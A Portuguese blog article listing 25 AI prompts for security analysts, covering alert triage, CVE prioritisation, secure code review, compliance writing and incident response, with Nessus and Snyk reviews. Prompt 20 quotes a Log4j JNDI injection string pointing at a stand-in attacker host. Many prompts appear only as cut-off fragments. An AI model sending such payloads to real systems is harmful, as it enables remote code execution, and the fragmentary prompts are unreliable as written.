Ferramentas de IA avaliadas para o seu trabalho
Aprenda IA em 30 dias
Início Diretório de IA Trilhas de carreira Notícias de IA
Início Notícias de IA Cibersegurança
🔐 Cibersegurança

25 Prompts de IA Essenciais para Todo Analista de Segurança (2026)

Uma biblioteca de 25 prompts de IA testados em batalha para profissionais de cibersegurança em SOC, gestão de vulnerabilidades, GRC e resposta a

31 de agosto de 2026· 17 min de leitura

The short answer

Os melhores prompts de IA para profissionais de cibersegurança automatizam tarefas repetitivas em triagem de SOC, gestão de vulnerabilidades, revisão de código, GRC e resposta a incidentes. Prompts úteis incluem resumir clusters de alertas, priorizar CVEs com base no contexto ambiental, elaborar narrativas de evidências de conformidade, gerar linhas do tempo de incidentes e criar hipóteses de caça a ameaças. Abaixo estão 25 prompts de copiar e colar para analistas de segurança.

Verified against live pricing pages·30 Aug 2026·How we test

Uma biblioteca de prompts bem estruturada é um multiplicador de força para uma equipe de segurança. Ela transforma a IA generativa de uma novidade em um assistente confiável para as tarefas repetitivas e demoradas que levam ao esgotamento: resumir logs densos, escrever relatórios padronizados e traduzir descobertas técnicas para diferentes públicos. O objetivo não é substituir a análise humana, mas acelerá-la.

Este artigo fornece 25 prompts práticos de copiar e colar para analistas em diversas funções de segurança. Nós os organizamos por função — do chão do SOC à equipe de GRC — e incluímos orientações sobre como usá-los com segurança. A ZEKAI revisa todas as ferramentas de forma independente; nosso objetivo é fornecer recursos práticos para profissionais que trabalham no espaço de soluções de cibersegurança e TI impulsionadas por IA.

Um aviso crítico antes de começar: Nunca cole dados sensíveis em um modelo de linguagem grande (LLM) público. Isso inclui endereços IP internos, nomes de host, nomes de usuário, PII ou código proprietário. O risco mais bem classificado no OWASP Top 10 para LLMs é a Divulgação de Informações Sensíveis por uma razão. Sempre use uma instância privada e de nível empresarial de um modelo de IA ou sanitize suas entradas antes de usar ferramentas públicas.

Como Escolhemos Estes Prompts

Nós nos concentramos em cinco domínios de segurança principais onde a IA generativa oferece o valor mais imediato. Nossos critérios para um bom prompt são:

4.8 Million

Source: isc2.org

O número de vagas de cibersegurança não preenchidas globalmente, de acordo com o estudo da força de trabalho de 2026 do ISC2. A eficiência impulsionada pela IA não é mais opcional; é uma estratégia central para fechar essa lacuna de capacidade.

Prompts de Triagem de SOC e Resumo de Alertas

Para analistas SOC de Nível 1, velocidade e precisão são fundamentais. Esses prompts ajudam a contextualizar rapidamente alertas, analisar logs e elaborar notas iniciais de triagem.

Prompt 01 Resumir um Alerta de Segurança
[PASTE_SANITIZED_ALERT_DATA]
Tested on Claude, ChatGPT and Gemini
Prompt 02 Analisar Logs de Firewall em Busca de Anomalias
[PASTE_SANITIZED_FIREWALL_LOGS]
Tested on Claude, ChatGPT and Gemini
Prompt 03 Explicar um Evento de Detecção de Malware
.
1.  Em termos simples, o que esta assinatura de malware tipicamente indica?
2.  Qual é o comportamento comum desta família de malware? (por exemplo, ransomware, ladrão de informações, RAT)
3.  Quais são os 3-5 próximos passos imediatos que um analista júnior deve tomar para investigar o host
Tested on Claude, ChatGPT and Gemini
Prompt 04 Elaborar um Relatório de Análise de Phishing
-   **Isca Principal:** O e-mail alegava ser uma "fatura urgente com pagamento exigido" e instava o usuário a clicar em um link.
-   **URL:**
Tested on Claude, ChatGPT and Gemini
Prompt 05 Gerar uma Hipótese de Caça a Ameaças
está ativamente visando nossa indústria (
Tested on Claude, ChatGPT and Gemini

Prompts de Priorização e Varredura de Vulnerabilidades

A gestão de vulnerabilidades é uma batalha constante de priorização. Esses prompts ajudam os analistas a interpretar relatórios de varredura, contextualizar CVEs e comunicar riscos às partes interessadas. O emparelhamento desses prompts com uma ferramenta dedicada como o Tenable Nessus pode otimizar todo o fluxo de trabalho.

8.0/10

Tenable Nessus

O padrão da indústria para varredura de vulnerabilidades de infraestrutura, com profundidade de plugins…

O padrão da indústria para varredura de vulnerabilidades de infraestrutura, com profundidade de plugins inigualável.

O Tenable Nessus se destaca na identificação de CVEs e configurações incorretas em uma vasta gama de dispositivos de rede e sistemas operacionais. Sua principal limitação é que ele é focado em infraestrutura; não realiza testes de segurança de aplicativos estáticos ou dinâmicos aprofundados (SAST/DAST). É a ferramenta certa para equipes de rede e conformidade, mas as equipes de AppSec precisarão de uma solução separada. O nível gratuito “Essentials” agora é um teste de 30 dias limitado a 5 IPs, não a ferramenta persistente de 16 IPs que era antes.

Price from
Starts at $4,790/year (as of Sep 2026)
Free tier
Sim, nível Essentials (teste de 30 dias para 5 IPs) verificado em setembro de 2026
Prompt 06 Priorizar Vulnerabilidades de um Relatório de Varredura
[PASTE_CVE_LIST_AND_CVSS_SCORES]
Tested on Claude, ChatGPT and Gemini
Prompt 07 Explicar uma CVE Crítica a um Proprietário de Sistema
.
Elabore um e-mail claro e conciso que:
1.  Comece declarando a vulnerabilidade e o sistema afetado (
Tested on Claude, ChatGPT and Gemini
Prompt 08 Gerar uma Configuração de Varredura do Nessus
Atue como um consultor de segurança. Preciso configurar uma varredura do Tenable Nessus para um novo segmento de nossa rede que contém `[SERVER_TYPES]` (por exemplo, servidores web, servidores de banco de dados, controladores de domínio).
Recomende uma configuração de política de varredura do Nessus. Sua recomendação deve cobrir:
-   **Modelo de Varredura:** Qual modelo do Nessus usar como ponto de partida (por exemplo, Basic Network Scan, Credentialed Patch Audit).
-   **Credenciais:** Por que uma varredura credenciada é necessária.
-   **Plugins:** Quais famílias de plugins são mais importantes para habilitar para esses tipos de servidor.
-   **Frequência:** Uma frequência de varredura recomendada (por exemplo, semanal, mensal).
Forneça a saída como um conjunto de recomendações claras com breves justificativas para cada uma.
Tested on Claude, ChatGPT and Gemini
TE Tool review Tenable Nessus — read our full review Pricing, free tier and where it falls short
Prompt 09 Elaborar uma Justificativa de Falso Positivo
, mas determinamos que é um falso positivo.
Preciso escrever uma justificativa formal para nossos registros. Elabore um parágrafo que explique *por que* esta descoberta é um falso positivo.
Use as seguintes informações:
-   **Descoberta:** O scanner identificou
Tested on Claude, ChatGPT and Gemini
Prompt 10 Criar um Resumo do Plano de Remediação
Você é um analista de vulnerabilidades reportando ao CISO. Tenho uma lista de 5 vulnerabilidades críticas que foram descobertas esta semana.
Crie uma tabela de resumo de alto nível para um relatório de gestão. A tabela deve ter as seguintes colunas:
-   `Vulnerabilidade (CVE)`
-   `Sistemas Afetados (Contagem)`
-   `Ação Recomendada`
-   `Equipe Atribuída`
-   `ETA de Remediação`
Preencha a tabela usando estes dados:
-   **CVE-2026-1001:** Afeta 15 servidores web. Ação: Aplicar patch do fornecedor. Equipe: Web Ops. ETA: 7 dias.
-   **CVE-2026-1002:** Afeta 50 estações de trabalho. Ação: Implantar software atualizado via SCCM. Equipe: Desktop Engineering. ETA: 14 dias.
-   **CVE-2026-1003:** Afeta 2 controladores de domínio. Ação: Aplicar alteração na chave de registro. Equipe: Infrastructure. ETA: 3 dias.
-   **CVE-2026-1004:** Afeta 10 servidores Linux. Ação: Atualizar kernel. Equipe: Linux Ops. ETA: 10 dias.
-   **CVE-2026-1005:** Afeta 1 aplicação personalizada. Ação: Correção de código do desenvolvedor. Equipe: AppDev. ETA: 30 dias.
Tested on Claude, ChatGPT and Gemini

Prompts de Revisão de Segurança de Código

Para desenvolvedores e engenheiros de AppSec, a IA pode ajudar a identificar bugs comuns e padrões inseguros antes que o código seja implantado. Esses prompts são projetados para serem usados com uma ferramenta de segurança focada no desenvolvedor, como o Snyk, que verifica vulnerabilidades tanto em seu código quanto em suas dependências de código aberto.

8.0/10

Snyk

Uma plataforma focada no desenvolvedor para encontrar e corrigir vulnerabilidades em código e dependências…

Uma plataforma focada no desenvolvedor para encontrar e corrigir vulnerabilidades em código e dependências de código aberto.

A força do Snyk reside em sua integração perfeita nos fluxos de trabalho do desenvolvedor (IDE, Git, CI/CD) e em seu banco de dados preciso de vulnerabilidades para pacotes de código aberto. Ele combina varredura SAST, SCA, de contêineres e IaC. O nível gratuito é realmente útil para desenvolvedores individuais e pequenos projetos, oferecendo um número definido de testes por mês em seus produtos. Sua fraqueza pode ser o custo em escala, pois o preço por desenvolvedor se acumula.

Price from
Starts at $25/dev/month (as of Sep 2026)
Free tier
Sim, nível gratuito para sempre com limites de testes mensais, verificado em setembro de 2026
Prompt 11 Revisar Código em Busca de Riscos do OWASP Top 10
em busca de potenciais vulnerabilidades do OWASP Top 10, procurando especificamente por:
-   Falhas de Injeção (SQL, Comando)
-   Autenticação Quebrada
-   Exposição de Dados Sensíveis
-   Desserialização Insegura
Para cada problema que encontrar, forneça:
1.  O número da linha vulnerável.
2.  Uma breve explicação da vulnerabilidade.
3.  Um exemplo de código mostrando como corrigi-lo.
Se nenhum problema for encontrado, declare isso.
Trecho de Código:
Tested on Claude, ChatGPT and Gemini
Prompt 12 Explicar uma Vulnerabilidade de Código Aberto
Nossa varredura Snyk encontrou uma vulnerabilidade crítica (`[CVE_ID]`) na biblioteca de código aberto `[LIBRARY_NAME]`, versão `[VERSION_NUMBER]`.
Explique esta vulnerabilidade a uma equipe de desenvolvimento. Sua explicação deve incluir:
1.  O que a vulnerabilidade permite que um atacante faça (por exemplo, execução remota de código, negação de serviço).
2.  Como a vulnerabilidade é acionada.
3.  Qual é a ação recomendada (por exemplo, "Atualizar para a versão X.Y.Z").
Mantenha a explicação concisa e focada no que os desenvolvedores precisam saber para corrigi-la.
Tested on Claude, ChatGPT and Gemini
Prompt 13 Escrever uma Diretriz de Codificação Segura
Atue como um engenheiro de segurança principal. Escreva uma diretriz de codificação segura para nossa equipe de desenvolvimento sobre o tópico "Validação de Entrada".
A diretriz deve ser um documento markdown que inclua:
-   Uma breve e simples explicação de por que a validação de entrada é importante.
-   Uma seção "Fazer" com 2-3 melhores práticas (por exemplo, usar listas de permissão, validar no lado do servidor).
-   Uma seção "Não Fazer" com 2-3 erros comuns (por exemplo, confiar apenas na validação do lado do cliente, usar listas de bloqueio).
-   Um exemplo de código curto e claro em `[LANGUAGE]` mostrando uma implementação "ruim" versus "boa".
Tested on Claude, ChatGPT and Gemini
SN Tool review Snyk — read our full review Pricing, free tier and where it falls short
Prompt 14 Refatorar Código para Prevenir Injeção SQL
que é vulnerável à injeção SQL.
Refatore o código para usar consultas parametrizadas (instruções preparadas) para prevenir esta vulnerabilidade. Mostre os blocos de código "antes" e "depois".
Código Vulnerável:
Tested on Claude, ChatGPT and Gemini
Prompt 15 Gerar uma Regex para Dados Sensíveis
)
-   GitHub personal access token (por exemplo,
Tested on Claude, ChatGPT and Gemini

Prompts de Documentação de Conformidade e GRC

O trabalho de Governança, Risco e Conformidade (GRC) envolve uma quantidade tremenda de documentação. A IA pode ajudar a elaborar políticas, mapear controles e escrever narrativas de evidências, economizando horas de trabalho dos analistas.

NIST AI RMF

Source: nist.gov

O Framework de Gestão de Risco de IA do NIST (AI RMF 1.0) fornece uma estrutura voluntária para gerenciar riscos de IA em quatro funções: Governar, Mapear, Medir e Gerenciar. Esses prompts podem ajudar a documentar atividades dentro desse framework.

Prompt 16 Elaborar uma Política de Segurança
Atue como um analista de GRC. Preciso elaborar uma nova política de segurança corporativa sobre "Uso Aceitável de Ferramentas de IA".
A política deve ser estruturada com as seguintes seções:
1.  **Propósito:** Por que esta política existe.
2.  **Escopo:** A quem esta política se aplica.
3.  **Declarações de Política:** Uma lista de regras, incluindo:
-   Proibição de usar ferramentas de IA públicas com dados sensíveis da empresa ou de clientes.
-   Requisito de usar apenas plataformas de IA aprovadas pela empresa.
-   Diretrizes para verificar a precisão do conteúdo gerado por IA.
-   Uma declaração sobre propriedade e confidencialidade dos dados.
4.  **Aplicação:** As consequências da violação da política.
Gere um rascunho profissional desta política.
Tested on Claude, ChatGPT and Gemini
Prompt 17 Mapear Controles Entre Frameworks
Estou me preparando para uma auditoria. Preciso mapear nossos controles ISO 27001 existentes para os Critérios de Serviços de Confiança SOC 2.
Para o seguinte controle ISO 27001, identifique os critérios SOC 2 correspondentes que ele ajuda a satisfazer.
**Controle ISO 27001:** `[ISO_CONTROL_DESCRIPTION]` (por exemplo, "A.9.4.1: Restrição de acesso à informação")
Forneça o TSC SOC 2 correspondente e uma breve explicação de uma frase do mapeamento.
Exemplo de Saída:
**TSC SOC 2:** CC6.1 - Segurança de Acesso Lógico
**Explicação:** Este controle apoia diretamente o requisito SOC 2 de restringir o acesso lógico a informações e sistemas com base em funções e responsabilidades.
Tested on Claude, ChatGPT and Gemini
Prompt 18 Escrever uma Narrativa de Evidência de Auditoria
) e uma captura de tela do agendamento da varredura (
Tested on Claude, ChatGPT and Gemini
Prompt 19 Criar um Cenário de Avaliação de Risco
Estou conduzindo uma avaliação de risco em nossa nova implantação de `[CLOUD_SERVICE_NAME]`.
Gere um cenário de risco relacionado a "Controles de Acesso Inadequados". O cenário deve ser estruturado com estes campos:
-   **Cenário de Risco:** Uma breve descrição de uma frase do evento.
-   **Ator da Ameaça:** Quem poderia causar isso (por exemplo, Insider Malicioso, Atacante Externo).
-   **Vulnerabilidade:** A fraqueza que permite isso (por exemplo, Funções IAM excessivamente permissivas).
-   **Impacto:** O resultado de negócios se ocorrer (por exemplo, Violação de dados, interrupção de serviço).
-   **Controles Existentes:** O que temos atualmente em vigor (por exemplo, MFA, registro básico).
Preencha esta estrutura para o risco de "Controles de Acesso Inadequados".
Tested on Claude, ChatGPT and Gemini
Prompt 20 Traduzir Descobertas Técnicas para um Comitê de Risco
Preciso explicar o risco de uma vulnerabilidade Log4j não corrigida (CVE-2021-44228) a um comitê de risco não técnico.
Traduza a seguinte descrição técnica em uma declaração de risco de negócios simples e baseada em analogias. Evite jargões como RCE, JNDI e LDAP.
**Descrição Técnica:** "A vulnerabilidade Log4j permite a execução remota de código não autenticada (RCE) ao registrar uma string especialmente elaborada. Um atacante pode enviar uma string como `${jndi:ldap://attacker.com/a}` que faz com que o servidor se conecte de volta ao sistema do atacante e execute um payload malicioso."
Concentre-se no que isso significa para o negócio (por exemplo, "É como deixar uma porta dos fundos destrancada...").
Tested on Claude, ChatGPT and Gemini

Prompts de Resposta a Incidentes e Escalonamento

Durante um incidente, comunicação clara e rápida é tudo. Esses prompts ajudam líderes e analistas de IR a organizar informações, criar linhas do tempo e elaborar comunicações para as partes interessadas.

LLM01

Prompt Injection Source: owasp.org

O risco mais bem classificado no OWASP Top 10 para LLMs é a Injeção de Prompt, onde a entrada de um atacante engana a IA para realizar ações não intencionais. Isso é crítico para lembrar ao construir bots de resposta alimentados por IA.

Prompt 21 Gerar uma Linha do Tempo de Incidente a Partir de Logs
[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]
Tested on Claude, ChatGPT and Gemini
Prompt 22 Elaborar um Aviso de Escalonamento de Incidente
URGENTE: Escalonamento de Incidente de Segurança - [INCIDENT_TYPE]
Tested on Claude, ChatGPT and Gemini
Prompt 23 Criar um Esboço de Revisão Pós-Incidente (PIR)
Você é um gerente sênior de resposta a incidentes. Nossa equipe acabou de resolver um incidente de `[INCIDENT_TYPE]`.
Crie um esboço detalhado para um documento de Revisão Pós-Incidente (PIR). O esboço deve incluir todas as seções principais e sub-marcadores para os tópicos chave a serem abordados em cada uma.
Inclua seções para:
1.  Resumo Executivo
2.  Linha do Tempo do Incidente (Eventos Chave)
3.  Análise da Causa Raiz (O que falhou?)
4.  Avaliação de Impacto (Negócios, Técnico, Financeiro)
5.  Lições Aprendidas (O que correu bem? O que correu mal?)
6.  Itens de Ação (Uma tabela com colunas para Ação, Responsável e Data de Vencimento)
Tested on Claude, ChatGPT and Gemini
Prompt 24 Formular Perguntas para uma Investigação Forense
Estamos iniciando uma investigação forense digital em um host comprometido (`[HOSTNAME]`) relacionada a um incidente de exfiltração de dados.
Atue como um investigador forense líder. Gere uma lista das 10 principais perguntas que nossa investigação precisa responder. As perguntas devem ser focadas em estabelecer o escopo completo e a linha do tempo da violação.
Exemplos:
-   Como o atacante obteve acesso inicial ao host?
-   Quais ferramentas o atacante usou no host?
-   Quais dados foram acessados ou exfiltrados do host?
Tested on Claude, ChatGPT and Gemini
Prompt 25 Elaborar uma Atualização de Comunicações Internas
Você é o chefe de comunicações corporativas, trabalhando com a equipe de segurança. Precisamos enviar uma breve atualização interna a todos os funcionários sobre um incidente de segurança recente que foi resolvido.
O incidente foi um `[INCIDENT_TYPE]` que causou `[IMPACT]`.
Elabore uma mensagem curta, tranquilizadora e não técnica para toda a equipe. A mensagem deve:
-   Reconhecer que uma interrupção ocorreu.
-   Confirmar que o problema foi resolvido.
-   Agradecer à equipe de segurança.
-   Lembrar os funcionários de permanecerem vigilantes e relatarem atividades suspeitas.
Não inclua detalhes técnicos sobre o incidente.
Tested on Claude, ChatGPT and Gemini

Ao integrar esses prompts em seus fluxos de trabalho diários, você pode descarregar o trabalho repetitivo e liberar tempo crítico para a análise aprofundada que apenas um especialista humano pode fornecer. Esta biblioteca é um ponto de partida; nós o encorajamos a adaptar esses prompts às suas ferramentas, ambiente e necessidades de equipe específicas. À medida que a IA continua a evoluir, a capacidade de fazer as perguntas certas será uma das habilidades mais valiosas para qualquer profissional em soluções de cibersegurança e TI impulsionadas por IA.

Os prompts de IA podem ser usados para segurança ofensiva?

Sim. Atacantes usam IA para gerar malware polimórfico, criar iscas de phishing mais convincentes, descobrir vulnerabilidades em código e automatizar o reconhecimento. Essa natureza de uso duplo é a razão pela qual as equipes de defesa também devem adotar a IA para acompanhar o ritmo.

Qual modelo de IA é melhor para tarefas de cibersegurança?

Depende da tarefa e dos requisitos de segurança. Para tarefas que envolvem dados sensíveis, um modelo privado e de nível empresarial (como um hospedado em um ambiente de nuvem seguro) é obrigatório. Para conhecimento geral ou geração de código sem contexto sensível, modelos publicamente disponíveis de grandes provedores podem ser eficazes.

Como evitar que a IA “alucine” ou dê respostas erradas?

Não. Você não pode prevenir completamente as alucinações, mas pode mitigar o risco. Sempre forneça à IA o máximo de contexto factual possível dentro do prompt (por exemplo, cole os dados de log reais). Trate as saídas da IA como um primeiro rascunho que deve ser verificado por um especialista humano antes que qualquer ação seja tomada.

O que é injeção de prompt e como posso evitá-la?

Injeção de prompt é um ataque onde um usuário insere instruções maliciosas para fazer a IA ignorar seu propósito original e realizar uma ação não intencional. Para mitigar isso, sempre sanitize as entradas, use delimitadores para separar claramente suas instruções dos dados fornecidos pelo usuário e evite construir sistemas autônomos que possam tomar ações destrutivas sem aprovação humana.

Existem ferramentas de IA gratuitas para cibersegurança?

Sim. Muitas ferramentas poderosas têm níveis gratuitos. O Nessus Essentials oferece um teste gratuito para varredura de vulnerabilidades, e o Snyk tem um plano gratuito para sempre com limites mensais para varredura de código e dependências. Muitas plataformas de código aberto como Wazuh e OpenVAS também são completamente gratuitas.

Fontes (30)
  1. https://www.sentinelone.com/cybersecurity-101/cybersecurity/cyber-security-statistics/
  2. https://cybersecurityguide.org/resources/cybersecurity-skills-gap/
  3. https://orca.security/resources/blog/nist-ai-risk-management-framework-ai-rmf/
  4. https://helloitsliam.com/2026/08/07/understanding-the-owasp-top-10-for-large-language-model-applications/
  5. https://www.heyuan110.com/posts/ai/2026-03-13-ai-code-security-tools-compared/
  6. https://airia.com/blog/nist-ai-risk-management-framework-ai-rmf-explained-what-enterprises-need-to-know/
  7. https://www.aikido.dev/blog/tenable-alternatives
  8. https://www.kore1.com/hire-cybersecurity-engineers-2026-guide/
  9. https://thinkcloudly.com/general/why-cybersecurity-jobs-empty/
  10. https://valydex.com/guides/tenable-nessus-pricing
  11. https://destcert.com/resources/cybersecurity-job-demand/
  12. https://docs.tenable.com/nessus/10_12/
  13. https://rafter.so/blog/snyk-vs-sonarqube
  14. https://www.cover6solutions.com/intro-to-cybersecurity-complete-guide/
  15. https://elevateconsult.com/insights/owasp-llm-top-10-security-vulnerabilities-every-ai-developer-must-know-in-2026/
  16. https://beaglesecurity.com/blog/article/nessus-review.html
  17. https://www.brightdefense.com/resources/owasp-top-10-llm/
  18. https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/
  19. https://securiti.ai/nist-ai-risk-management-framework/
  20. https://www.aigl.blog/nist-ai-100-1-artificial-intelligence-risk-management-framework-ai-rmf-1-0/
  21. https://beaglesecurity.com/blog/article/top-snyk-alternatives.html
  22. https://appsecsanta.com/sast-tools/sonarcloud-vs-snyk
  23. https://github.com/owasp/www-project-top-10-for-large-language-model-applications
  24. https://www.diligent.com/resources/blog/nist-ai-risk-management-framework
  25. https://konvu.com/compare/snyk-vs-semgrep
  26. https://theboringlab.com/best-chatgpt-prompts-for-security-teams/
  27. https://lumu.io/blog/10-cybersecurity-prompts/
  28. https://www.paloaltonetworks.com/cyberpedia/what-is-ai-prompt-security
  29. https://sbscyber.com/blog/ai-prompting-for-security-compliance
  30. https://online.utsa.edu/blog-content/how-ai-change-future-of-cybersecurity/

Veja o Zekai primeiro no Google

Este artigo é fornecido apenas como informação geral e não constitui aconselhamento profissional. Fatos, detalhes de produtos e números estavam corretos, até onde sabemos, no momento da publicação e podem ter mudado desde então. A Zekai é uma publicação independente e não é afiliada às empresas mencionadas. Encontrou um erro? Veja nossa política de correções e remoção.

O briefing semanal de IA para a sua profissão

Um e-mail por semana: as mudanças de IA que realmente afetam a sua profissão — ferramentas, ofertas e o que fazer.

Grátis · 1 e-mail/semana · segmentado por profissão · cancele quando quiser

Veja o Zekai primeiro no Google